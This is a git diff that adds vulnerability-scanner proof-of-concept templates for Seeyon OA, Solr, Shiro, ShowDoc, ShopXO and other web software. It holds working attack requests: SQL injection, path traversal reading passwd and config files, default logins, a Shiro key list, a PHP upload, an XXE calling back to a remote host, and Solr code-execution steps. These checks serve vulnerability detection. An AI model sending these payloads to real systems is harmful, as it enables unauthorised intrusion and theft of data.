file mode 100644 index 0000000..bf92d1b --- /dev/null +++ b/webscan/pocs/seacmsv645-command-exec.yml @@ -0,0 +1,14 @@ +name: poc-yaml-seacmsv645-command-exec +set: + rand1: randomInt(200000000, 210000000) + rand2: randomInt(200000000, 210000000) +rules: + - method: POST + path: /search.php?searchtype=5 + body: searchtype=5&order=}{end if} {if:1)print({{rand1}}%2b{{rand2}});if(1}{end if} + expression: | + response.body.bcontains(bytes(string(rand1 + rand2))) +detail: + author: Facker007(https://github.com/Facker007) + links: + - https://www.cnblogs.com/ffx1/p/12653597.html diff --git a/webscan/pocs/secnet-ac-default-password.yml b/webscan/pocs/secnet-ac-default-password.yml new file mode 100644 index 0000000..332fce9 --- /dev/null +++ b/webscan/pocs/secnet-ac-default-password.yml @@ -0,0 +1,15 @@ +name: poc-yaml-secnet-ac-default-password +rules: + - method: GET + path: /login.html + expression: response.status == 200 && response.body.bcontains(b"安网科技-智能路由系统") + + - method: POST + path: /login.cgi + body: + user=admin&password=admin + expression: response.status == 200 && response.headers["Set-Cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_") +detail: + author: iak3ec(https://github.com/nu0l) + links: + - https://bbs.secnet.cn/post/t-30 diff --git a/webscan/pocs/seeyon-a6-employee-info-leak.yml b/webscan/pocs/seeyon-a6-employee-info-leak.yml new file mode 100644 index 0000000..8a9d5af --- /dev/null +++ b/webscan/pocs/seeyon-a6-employee-info-leak.yml @@ -0,0 +1,12 @@ +name: poc-yaml-seeyon-a6-employee-info-leak +groups: + poc1: + - method: GET + path: /yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0 + expression: + response.status == 200 && response.body.bcontains(b"[Content_Types].xml") && response.body.bcontains(b"Excel.Sheet") +detail: + author: sakura404x + version: 致远A6 + links: + - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3351.md diff --git a/webscan/pocs/seeyon-a6-test-jsp-sql.yml b/webscan/pocs/seeyon-a6-test-jsp-sql.yml new file mode 100644 index 0000000..c104494 --- /dev/null +++ b/webscan/pocs/seeyon-a6-test-jsp-sql.yml @@ -0,0 +1,13 @@ +name: poc-yaml-seeyon-a6-test-jsp-sql +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) + expression: + response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: sakura404x + version: 致远A6 + links: + - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3346.md diff --git a/webscan/pocs/seeyon-ajax-unauthorized-access.yml b/webscan/pocs/seeyon-ajax-unauthorized-access.yml new file mode 100644 index 0000000..92ce028 --- /dev/null +++ b/webscan/pocs/seeyon-ajax-unauthorized-access.yml @@ -0,0 +1,16 @@ +name: poc-yaml-seeyon-ajax-unauthorized-access +rules: + - method: GET + path: /seeyon/thirdpartyController.do.css/..;/ajax.do + expression: | + response.status == 200 && response.body.bcontains(bytes("java.lang.NullPointerException:null")) + - method: GET + path: /seeyon/personalBind.do.jpg/..;/ajax.do?method=ajaxAction&managerName=mMOneProfileManager&managerMethod=getOAProfile + expression: | + response.status == 200 && response.body.bcontains(bytes("MMOneProfile")) && response.body.bcontains(bytes("productTags")) && response.body.bcontains(bytes("serverIdentifier")) && response.content_type.contains("application/json") + +detail: + author: x1n9Qi8 + links: + - https://mp.weixin.qq.com/s/bHKDSF7HWsAgQi9rTagBQA + - https://buaq.net/go-53721.html diff --git a/webscan/pocs/seeyon-cnvd-2020-62422-readfile.yml b/webscan/pocs/seeyon-cnvd-2020-62422-readfile.yml new file mode 100644 index 0000000..f6373ff --- /dev/null +++ b/webscan/pocs/seeyon-cnvd-2020-62422-readfile.yml @@ -0,0 +1,11 @@ +name: poc-yaml-seeyon-cnvd-2020-62422-readfile +rules: + - method: GET + path: /seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties + follow_redirects: false + expression: response.status == 200 && response.content_type.icontains("application/x-msdownload") && response.body.bcontains(b"ctpDataSource.password") +detail: + author: Aquilao(https://github.com/Aquilao) + info: seeyon readfile(CNVD-2020-62422) + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2020-62422 diff --git a/webscan/pocs/seeyon-oa-a8-m-information-disclosure.yml b/webscan/pocs/seeyon-oa-a8-m-information-disclosure.yml new file mode 100644 index 0000000..1fa3fdb --- /dev/null +++ b/webscan/pocs/seeyon-oa-a8-m-information-disclosure.yml @@ -0,0 +1,18 @@ +name: poc-yaml-seeyon-oa-a8-m-information-disclosure +manual: true +transport: http +rules: + - method: GET + path: /seeyon/management/index.jsp + expression: response.status == 200 + - method: POST + path: /seeyon/management/index.jsp + headers: + Content-Type: application/x-www-form-urlencoded + body: password=WLCCYBD%40SEEYON + follow_redirects: true + expression: response.status == 200 && response.body.bcontains(bytes("Free Physical Memory Size")) +detail: + author: Monday + links: + - http://wiki.peiqi.tech/wiki/oa/%E8%87%B4%E8%BF%9COA/%E8%87%B4%E8%BF%9COA%20A8%20status.jsp%20%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html diff --git a/webscan/pocs/seeyon-oa-cookie-leak.yml b/webscan/pocs/seeyon-oa-cookie-leak.yml new file mode 100644 index 0000000..ca57e6f --- /dev/null +++ b/webscan/pocs/seeyon-oa-cookie-leak.yml @@ -0,0 +1,16 @@ +name: poc-yaml-seeyon-oa-cookie-leak +rules: + - method: POST + path: /seeyon/thirdpartyController.do + body: | + method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1 + expression: | + response.status == 200 && response.headers["Set-Cookie"].contains("JSESSIONID=") && response.body.bcontains(b"/seeyon/common/") + - method: GET + path: /seeyon/main.do?method=headerjs + expression: | + response.status == 200 && response.body.bcontains(b"\"name\":\"系统管理员\"") && response.body.bcontains(b"\"id\":\"-7273032013234748168\"") +detail: + author: Print1n(http://print1n.top) + links: + - https://mp.weixin.qq.com/s/0AqdfTrZUVrwTMbKEKresg diff --git a/webscan/pocs/seeyon-session-leak.yml b/webscan/pocs/seeyon-session-leak.yml new file mode 100644 index 0000000..1ce63fa --- /dev/null +++ b/webscan/pocs/seeyon-session-leak.yml @@ -0,0 +1,10 @@ +name: poc-yaml-seeyon-session-leak +rules: + - method: GET + path: /yyoa/ext/https/getSessionList.jsp?cmd=getAll + expression: + response.status == 200 && response.body.bcontains(b"\r\n\r\n") +detail: + author: sakura404x + links: + - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3345.md diff --git a/webscan/pocs/seeyon-setextno-jsp-sql.yml b/webscan/pocs/seeyon-setextno-jsp-sql.yml new file mode 100644 index 0000000..84b6acb --- /dev/null +++ b/webscan/pocs/seeyon-setextno-jsp-sql.yml @@ -0,0 +1,13 @@ +name: poc-yaml-seeyon-setextno-jsp-sql +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: /yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(17)%20union%20all%20select%201,2,@@version,md5({{rand}})%23 + expression: + response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: sakura404x + version: 致远A6 + links: + - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3348.md \ No newline at end of file diff --git a/webscan/pocs/seeyon-unauthoried.yml b/webscan/pocs/seeyon-unauthoried.yml new file mode 100644 index 0000000..a0777ec --- /dev/null +++ b/webscan/pocs/seeyon-unauthoried.yml @@ -0,0 +1,19 @@ +name: poc-yaml-seeyon-unauthoried +rules: + - method: POST + path: "/seeyon/thirdpartyController.do" + expression: "true" + body: | + method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4 + search: >- + JSESSIONID=(?P.+?) + - method: GET + path: "/seeyon/main.do" + headers: + Cookie: JSESSIONID={{session}} + expression: | + response.status == 200 && response.body.bcontains(b"当前已登录了一个用户,同一窗口中不能登录多个用户") +detail: + author: whami-root(https://github.com/whami-root) + links: + - https://github.com/whami-root \ No newline at end of file diff --git a/webscan/pocs/seeyon-wooyun-2015-0108235-sqli.yml b/webscan/pocs/seeyon-wooyun-2015-0108235-sqli.yml new file mode 100644 index 0000000..62db646 --- /dev/null +++ b/webscan/pocs/seeyon-wooyun-2015-0108235-sqli.yml @@ -0,0 +1,12 @@ +name: poc-yaml-seeyon-wooyun-2015-0108235-sqli +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: /yyoa/ext/trafaxserver/downloadAtt.jsp?attach_ids=(1)%20and%201=2%20union%20select%201,2,3,4,5,md5({{rand}}),7-- + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: Rexus + links: + - https://bugs.shuimugan.com/bug/view?bug_no=0108235 diff --git a/webscan/pocs/seeyon-wooyun-2015-148227.yml b/webscan/pocs/seeyon-wooyun-2015-148227.yml new file mode 100644 index 0000000..88a9051 --- /dev/null +++ b/webscan/pocs/seeyon-wooyun-2015-148227.yml @@ -0,0 +1,11 @@ +name: poc-yaml-seeyon-wooyun-2015-148227 +rules: + - method: GET + path: /NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml + follow_redirects: false + expression: | + response.status == 200 && response.content_type == "application/xml" && response.body.bcontains(bytes("NCInvokerServlet")) +detail: + author: canc3s(https://github.com/canc3s) + links: + - https://wooyun.x10sec.org/static/bugs/wooyun-2015-0148227.html diff --git a/webscan/pocs/shiro-key.yml b/webscan/pocs/shiro-key.yml new file mode 100644 index 0000000..4a56b23 --- /dev/null +++ b/webscan/pocs/shiro-key.yml @@ -0,0 +1,155 @@ +name: poc-yaml-shiro-key +set: + randstr: randomUppercase(32) +sets: + key: + - "kPH+bIxk5D2deZiIxcaaaA==" + - "2AvVhdsgUs0FSA3SDFAdag==" + - "3AvVhmFLUs0KTA3Kprsdag==" + - "4AvVhmFLUs0KTA3Kprsdag==" + - "5aaC5qKm5oqA5pyvAAAAAA==" + - "6ZmI6I2j5Y+R5aSn5ZOlAA==" + - "bWljcm9zAAAAAAAAAAAAAA==" + - "wGiHplamyXlVB11UXWol8g==" + - "Z3VucwAAAAAAAAAAAAAAAA==" + - "MTIzNDU2Nzg5MGFiY2RlZg==" + - "zSyK5Kp6PZAAjlT+eeNMlg==" + - "U3ByaW5nQmxhZGUAAAAAAA==" + - "5AvVhmFLUs0KTA3Kprsdag==" + - "bXdrXl9eNjY2KjA3Z2otPQ==" + - "fCq+/xW488hMTCD+cmJ3aQ==" + - "1QWLxg+NYmxraMoxAXu/Iw==" + - "ZUdsaGJuSmxibVI2ZHc9PQ==" + - "L7RioUULEFhRyxM7a2R/Yg==" + - "r0e3c16IdVkouZgk1TKVMg==" + - "bWluZS1hc3NldC1rZXk6QQ==" + - "a2VlcE9uR29pbmdBbmRGaQ==" + - "WcfHGU25gNnTxTlmJMeSpw==" + - "ZAvph3dsQs0FSL3SDFAdag==" + - "tiVV6g3uZBGfgshesAQbjA==" + - "cmVtZW1iZXJNZQAAAAAAAA==" + - "ZnJlc2h6Y24xMjM0NTY3OA==" + - "RVZBTk5JR0hUTFlfV0FPVQ==" + - "WkhBTkdYSUFPSEVJX0NBVA==" + - "GsHaWo4m1eNbE0kNSMULhg==" + - "l8cc6d2xpkT1yFtLIcLHCg==" + - "KU471rVNQ6k7PQL4SqxgJg==" + - "0AvVhmFLUs0KTA3Kprsdag==" + - "1AvVhdsgUs0FSA3SDFAdag==" + - "25BsmdYwjnfcWmnhAciDDg==" + - "3JvYhmBLUs0ETA5Kprsdag==" + - "6AvVhmFLUs0KTA3Kprsdag==" + - "6NfXkC7YVCV5DASIrEm1Rg==" + - "7AvVhmFLUs0KTA3Kprsdag==" + - "8AvVhmFLUs0KTA3Kprsdag==" + - "8BvVhmFLUs0KTA3Kprsdag==" + - "9AvVhmFLUs0KTA3Kprsdag==" + - "OUHYQzxQ/W9e/UjiAGu6rg==" + - "a3dvbmcAAAAAAAAAAAAAAA==" + - "aU1pcmFjbGVpTWlyYWNsZQ==" + - "bXRvbnMAAAAAAAAAAAAAAA==" + - "OY//C4rhfwNxCQAQCrQQ1Q==" + - "5J7bIJIV0LQSN3c9LPitBQ==" + - "f/SY5TIve5WWzT4aQlABJA==" + - "bya2HkYo57u6fWh5theAWw==" + - "WuB+y2gcHRnY2Lg9+Aqmqg==" + - "3qDVdLawoIr1xFd6ietnwg==" + - "YI1+nBV//m7ELrIyDHm6DQ==" + - "6Zm+6I2j5Y+R5aS+5ZOlAA==" + - "2A2V+RFLUs+eTA3Kpr+dag==" + - "6ZmI6I2j3Y+R1aSn5BOlAA==" + - "SkZpbmFsQmxhZGUAAAAAAA==" + - "2cVtiE83c4lIrELJwKGJUw==" + - "fsHspZw/92PrS3XrPW+vxw==" + - "XTx6CKLo/SdSgub+OPHSrw==" + - "sHdIjUN6tzhl8xZMG3ULCQ==" + - "O4pdf+7e+mZe8NyxMTPJmQ==" + - "HWrBltGvEZc14h9VpMvZWw==" + - "rPNqM6uKFCyaL10AK51UkQ==" + - "Y1JxNSPXVwMkyvES/kJGeQ==" + - "lT2UvDUmQwewm6mMoiw4Ig==" + - "MPdCMZ9urzEA50JDlDYYDg==" + - "xVmmoltfpb8tTceuT5R7Bw==" + - "c+3hFGPjbgzGdrC+MHgoRQ==" + - "ClLk69oNcA3m+s0jIMIkpg==" + - "Bf7MfkNR0axGGptozrebag==" + - "1tC/xrDYs8ey+sa3emtiYw==" + - "ZmFsYWRvLnh5ei5zaGlybw==" + - "cGhyYWNrY3RmREUhfiMkZA==" + - "IduElDUpDDXE677ZkhhKnQ==" + - "yeAAo1E8BOeAYfBlm4NG9Q==" + - "cGljYXMAAAAAAAAAAAAAAA==" + - "2itfW92XazYRi5ltW0M2yA==" + - "XgGkgqGqYrix9lI6vxcrRw==" + - "ertVhmFLUs0KTA3Kprsdag==" + - "5AvVhmFLUS0ATA4Kprsdag==" + - "s0KTA3mFLUprK4AvVhsdag==" + - "hBlzKg78ajaZuTE0VLzDDg==" + - "9FvVhtFLUs0KnA3Kprsdyg==" + - "d2ViUmVtZW1iZXJNZUtleQ==" + - "yNeUgSzL/CfiWw1GALg6Ag==" + - "NGk/3cQ6F5/UNPRh8LpMIg==" + - "4BvVhmFLUs0KTA3Kprsdag==" + - "MzVeSkYyWTI2OFVLZjRzZg==" + - "empodDEyMwAAAAAAAAAAAA==" + - "A7UzJgh1+EWj5oBFi+mSgw==" + - "c2hpcm9fYmF0aXMzMgAAAA==" + - "i45FVt72K2kLgvFrJtoZRw==" + - "U3BAbW5nQmxhZGUAAAAAAA==" + - "Jt3C93kMR9D5e8QzwfsiMw==" + - "MTIzNDU2NzgxMjM0NTY3OA==" + - "vXP33AonIp9bFwGl7aT7rA==" + - "V2hhdCBUaGUgSGVsbAAAAA==" + - "Q01TX0JGTFlLRVlfMjAxOQ==" + - "Is9zJ3pzNh2cgTHB4ua3+Q==" + - "NsZXjXVklWPZwOfkvk6kUA==" + - "GAevYnznvgNCURavBhCr1w==" + - "66v1O8keKNV3TTcGPK1wzg==" + - "SDKOLKn2J1j/2BHjeZwAoQ==" + - "kPH+bIxk5D2deZiIxcabaA==" + - "kPH+bIxk5D2deZiIxcacaA==" + - "3AvVhdAgUs0FSA4SDFAdBg==" + - "4AvVhdsgUs0F563SDFAdag==" + - "FL9HL9Yu5bVUJ0PDU1ySvg==" + - "5RC7uBZLkByfFfJm22q/Zw==" + - "eXNmAAAAAAAAAAAAAAAAAA==" + - "fdCEiK9YvLC668sS43CJ6A==" + - "FJoQCiz0z5XWz2N2LyxNww==" + - "HeUZ/LvgkO7nsa18ZyVxWQ==" + - "HoTP07fJPKIRLOWoVXmv+Q==" + - "iycgIIyCatQofd0XXxbzEg==" + - "m0/5ZZ9L4jjQXn7MREr/bw==" + - "NoIw91X9GSiCrLCF03ZGZw==" + - "oPH+bIxk5E2enZiIxcqaaA==" + - "QAk0rp8sG0uJC4Ke2baYNA==" + - "Rb5RN+LofDWJlzWAwsXzxg==" + - "s2SE9y32PvLeYo+VGFpcKA==" + - "SrpFBcVD89eTQ2icOD0TMg==" + - "U0hGX2d1bnMAAAAAAAAAAA==" + - "Us0KvVhTeasAm43KFLAeng==" + - "Ymx1ZXdoYWxlAAAAAAAAAA==" + - "YWJjZGRjYmFhYmNkZGNiYQ==" + - "zIiHplamyXlVB11UXWol8g==" + - "ZjQyMTJiNTJhZGZmYjFjMQ==" + mode: + - "cbc" + - "gcm" + payload: + - shirokey(key,mode) +rules: + - method: GET + path: / + follow_redirects: false + headers: + Cookie: JSESSIONID={{randstr}};rememberMe=login + expression: | + "Set-Cookie" in response.headers && (response.headers["Set-Cookie"].contains("rememberMe=") || response.headers["Set-Cookie"].contains("=deleteMe")) + - method: GET + path: / + headers: + Cookie: JSESSIONID={{randstr}};rememberMe={{payload}} + follow_redirects: false + expression: | + !response.headers["Set-Cookie"].contains("rememberMe=") +detail: + author: shadown1ng(https://github.com/shadown1ng) diff --git a/webscan/pocs/shiziyu-cms-apicontroller-sqli.yml b/webscan/pocs/shiziyu-cms-apicontroller-sqli.yml new file mode 100644 index 0000000..efbbc4a --- /dev/null +++ b/webscan/pocs/shiziyu-cms-apicontroller-sqli.yml @@ -0,0 +1,12 @@ +name: poc-yaml-shiziyu-cms-apicontroller-sqli +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: /index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5({{rand}}),0x7e),1) + expression: + response.status == 404 && response.body.bcontains(bytes(substr(md5(string(rand)), 0, 31))) +detail: + author: sakura404x + links: + - https://blog.csdn.net/weixin_42633229/article/details/117070546 \ No newline at end of file diff --git a/webscan/pocs/shopxo-cnvd-2021-15822.yml b/webscan/pocs/shopxo-cnvd-2021-15822.yml new file mode 100644 index 0000000..b20b338 --- /dev/null +++ b/webscan/pocs/shopxo-cnvd-2021-15822.yml @@ -0,0 +1,19 @@ +name: poc-yaml-shopxo-cnvd-2021-15822 +groups: + Linux: + - method: GET + path: /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= + follow_redirects: false + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + Windows: + - method: GET + path: /public/index.php?s=/index/qrcode/download/url/L1dpbmRvd3Mvd2luLmluaQ= + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"extensions") && response.body.bcontains(b"for 16-bit app support") +detail: + author: Print1n(http://print1n.top) + description: ShopXO download 任意文件读取 + links: + - https://mp.weixin.qq.com/s/69cDWCDoVXRhehqaHPgYog diff --git a/webscan/pocs/showdoc-default-password.yml b/webscan/pocs/showdoc-default-password.yml new file mode 100644 index 0000000..ff05ee8 --- /dev/null +++ b/webscan/pocs/showdoc-default-password.yml @@ -0,0 +1,12 @@ +name: poc-yaml-showdoc-default-password +rules: + - method: POST + path: /server/index.php?s=/api/user/login + body: username=showdoc&password=123456 + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"uid") && response.body.bcontains(b"groupid") && response.body.bcontains(b"user_token") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://blog.star7th.com/2016/05/2007.html \ No newline at end of file diff --git a/webscan/pocs/showdoc-uploadfile.yml b/webscan/pocs/showdoc-uploadfile.yml new file mode 100644 index 0000000..0921919 --- /dev/null +++ b/webscan/pocs/showdoc-uploadfile.yml @@ -0,0 +1,25 @@ +name: poc-yaml-showdoc-uploadfile +set: + r1: randomLowercase(4) + r2: randomLowercase(4) +rules: + - method: POST + path: /index.php?s=/home/page/uploadImg + headers: + Content-Type: "multipart/form-data; boundary=--------------------------835846770881083140190633" + follow_redirects: false + body: "----------------------------835846770881083140190633\nContent-Disposition: form-data; name=\"editormd-image-file\"; filename=\"{{r1}}.<>php\"\nContent-Type: text/plain\n\n\n----------------------------835846770881083140190633--" + expression: | + response.status == 200 && response.body.bcontains(b"success") + search: | + (?P\d{4}-\d{2}-\d{2})\\/(?P[a-f0-9]+\.php) + - method: GET + path: /Public/Uploads/{{date}}/{{file}} + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(r2)) +detail: + author: White(https://github.com/WhiteHSBG) + Affected Version: "showdoc <= 2.8.6" + links: + - https://github.com/star7th/showdoc/pull/1059 \ No newline at end of file diff --git a/webscan/pocs/skywalking-cve-2020-9483-sqli.yml b/webscan/pocs/skywalking-cve-2020-9483-sqli.yml new file mode 100644 index 0000000..36e71be --- /dev/null +++ b/webscan/pocs/skywalking-cve-2020-9483-sqli.yml @@ -0,0 +1,16 @@ +name: poc-yaml-skywalking-cve-2020-9483-sqli +set: + r1: randomInt(10000, 99999) +rules: + - method: POST + path: "/graphql" + headers: + Content-Type: application/json + body: | + {"query":"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','{{r1}}','~')-- \",}, duration: $d){values{value}}}","variables":{"d":{"start":"2021-11-11","end":"2021-11-12","step":"DAY"}}} + expression: | + response.status == 200 && response.body.bcontains(bytes("~" + string(r1) + "~")) +detail: + author: sndav(https://github.com/Sndav) + links: + - https://paper.seebug.org/1485/ \ No newline at end of file diff --git a/webscan/pocs/solarwinds-cve-2020-10148.yml b/webscan/pocs/solarwinds-cve-2020-10148.yml new file mode 100644 index 0000000..f31afb3 --- /dev/null +++ b/webscan/pocs/solarwinds-cve-2020-10148.yml @@ -0,0 +1,13 @@ +name: poc-yaml-solarwinds-cve-2020-10148 +set: + r1: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /web.config.i18n.ashx?l=en-US&v={{r1}} + expression: | + response.status == 200 && response.body.bcontains(bytes("SolarWinds.Orion.Core.Common")) && response.body.bcontains(bytes("/Orion/NetPerfMon/TemplateSiblingIconUrl")) +detail: + author: su(https://suzzz112113.github.io/#blog) + CVE: CVE-2020-10148 + links: + - https://kb.cert.org/vuls/id/843464 \ No newline at end of file diff --git a/webscan/pocs/solr-cve-2017-12629-xxe.yml b/webscan/pocs/solr-cve-2017-12629-xxe.yml new file mode 100644 index 0000000..2a1d62b --- /dev/null +++ b/webscan/pocs/solr-cve-2017-12629-xxe.yml @@ -0,0 +1,19 @@ +name: poc-yaml-solr-cve-2017-12629-xxe +set: + reverse: newReverse() + reverseURL: reverse.url +rules: + - method: GET + path: "/solr/admin/cores?wt=json" + expression: "true" + search: | + "name":"(?P[^"]+)", + - method: GET + path: /solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22{{reverseURL}}%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser + follow_redirects: true + expression: | + reverse.wait(5) +detail: + author: sharecast + links: + - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE diff --git a/webscan/pocs/solr-cve-2019-0193.yml b/webscan/pocs/solr-cve-2019-0193.yml new file mode 100644 index 0000000..517bf03 --- /dev/null +++ b/webscan/pocs/solr-cve-2019-0193.yml @@ -0,0 +1,30 @@ +name: poc-yaml-solr-cve-2019-0193 +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: GET + path: /solr/admin/cores?wt=json + follow_redirects: false + expression: response.status == 200 && response.body.bcontains(b"responseHeader") + search: '"name":"(?P.*?)"' + - method: POST + path: >- + /solr/{{core}}/dataimport?command=full-import&debug=true&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=%3CdataConfig%3E%0D%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22DEBUG%22%20%2F%3E%0D%0A%3Cscript%3E%3C!%5BCDATA%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20function%20execute(row)%20%20%20%20%7B%0D%0Arow.put(%22id%22,{{r1}}%2B{{r2}})%3B%0D%0Areturn%20row%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%5D%3E%3C%2Fscript%3E%0D%0A%3Cdocument%3E%0D%0A%20%20%20%20%3Centity%0D%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0D%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0D%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0D%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20forEach%3D%22%2Fbooks%2Fbook%22%0D%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Aexecute%22%20%3E%0D%0A%09%09%09%3Cfield%20column%3D%22id%22%20name%3D%22id%22%2F%3E%0D%0A%20%20%20%20%3C%2Fentity%3E%0D%0A%3C%2Fdocument%3E%0D%0A%3C%2FdataConfig%3E + headers: + Content-Type: text/html + body: |- + + + + + + follow_redirects: false + expression: response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: fnmsd(https://github.com/fnmsd) + solr_version: '<8.1.12' + vulnpath: '/solr/{{core}}/dataimport' + description: 'Apache Solr DataImportHandler Remote Code Execution Vulnerability(CVE-2019-0193)' + links: + - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193 diff --git a/webscan/pocs/solr-fileread.yml b/webscan/pocs/solr-fileread.yml new file mode 100644 index 0000000..2bfdc08 --- /dev/null +++ b/webscan/pocs/solr-fileread.yml @@ -0,0 +1,46 @@ +name: poc-yaml-solr-fileread +groups: + linux: + - method: GET + path: "/solr/admin/cores?indexInfo=false&wt=json" + expression: response.status == 200 && response.body.bcontains(b"responseHeader") + search: >- + "name":"(?P.+?)" + - method: POST + path: "/solr/{{core}}/config" + body: | + {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} + expression: | + response.body.bcontains(b"responseHeader") + - method: POST + path: "/solr/{{core}}/debug/dump?param=ContentStreams" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + stream.url=file:///etc/passwd + expression: | + response.status == 200 && r'root:[x*]:0:0:'.bmatches(response.body) + windows: + - method: GET + path: "/solr/admin/cores?indexInfo=false&wt=json" + expression: "true" + search: >- + "name":"(?P.+?)" + - method: POST + path: "/solr/{{core}}/config" + body: | + {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} + expression: | + response.body.bcontains(b"responseHeader") + - method: POST + path: "/solr/{{core}}/debug/dump?param=ContentStreams" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + stream.url=file:///c://windows/win.ini + expression: | + response.status == 200 && response.body.bcontains(b"for 16-bit app support") +detail: + author: whami-root(https://github.com/whami-root) + links: + - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d186 diff --git a/webscan/pocs/solr-velocity-template-rce.yml b/webscan/pocs/solr-velocity-template-rce.yml new file mode 100644 index 0000000..4529340 --- /dev/null +++ b/webscan/pocs/solr-velocity-template-rce.yml @@ -0,0 +1,38 @@ +name: poc-yaml-solr-velocity-template-rce +set: + r1: randomInt(20000, 40000) + r2: randomInt(20000, 40000) +rules: + - method: GET + path: "/solr/admin/cores?wt=json" + follow_redirects: false + expression: response.status == 200 && response.body.bcontains(b"responseHeader") + search: | + "name":"(?P[^"]+)" + - method: POST + path: >- + /solr/{{core}}/config + headers: + Content-Type: application/json + body: |- + { + "update-queryresponsewriter": { + "startup": "test", + "name": "velocity", + "class": "solr.VelocityResponseWriter", + "template.base.dir": "", + "solr.resource.loader.enabled": "true", + "params.resource.loader.enabled": "true" + } + } + expression: response.status == 200 + - method: GET + path: "/solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(%24c%3D{{r1}}%20*%20{{r2}})%24c" + follow_redirects: false + expression: response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: Loneyer + description: 'Apache Solr RCE via Velocity template' + links: + - https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt + - https://cert.360.cn/warning/detail?id=fba518d5fc5c4ed4ebedff1dab24caf2 diff --git a/webscan/pocs/sonarqube-cve-2020-27986-unauth.yml b/webscan/pocs/sonarqube-cve-2020-27986-unauth.yml new file mode 100644 index 0000000..2b261f5 --- /dev/null +++ b/webscan/pocs/sonarqube-cve-2020-27986-unauth.yml @@ -0,0 +1,11 @@ +name: poc-yaml-sonarqube-cve-2020-27986-unauth +rules: + - method: GET + path: "/api/settings/values" + expression: | + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(bytes(string(b"sonaranalyzer-cs.nuget.packageVersion"))) && response.body.bcontains(bytes(string(b"sonar.core.id"))) +detail: + author: pa55w0rd(www.pa55w0rd.online/) + Affected Version: "sonarqube < 8.4.2.36762" + links: + - https://nvd.nist.gov/vuln/detail/CVE-2020-27986 diff --git a/webscan/pocs/sonicwall-ssl-vpn-rce.yml 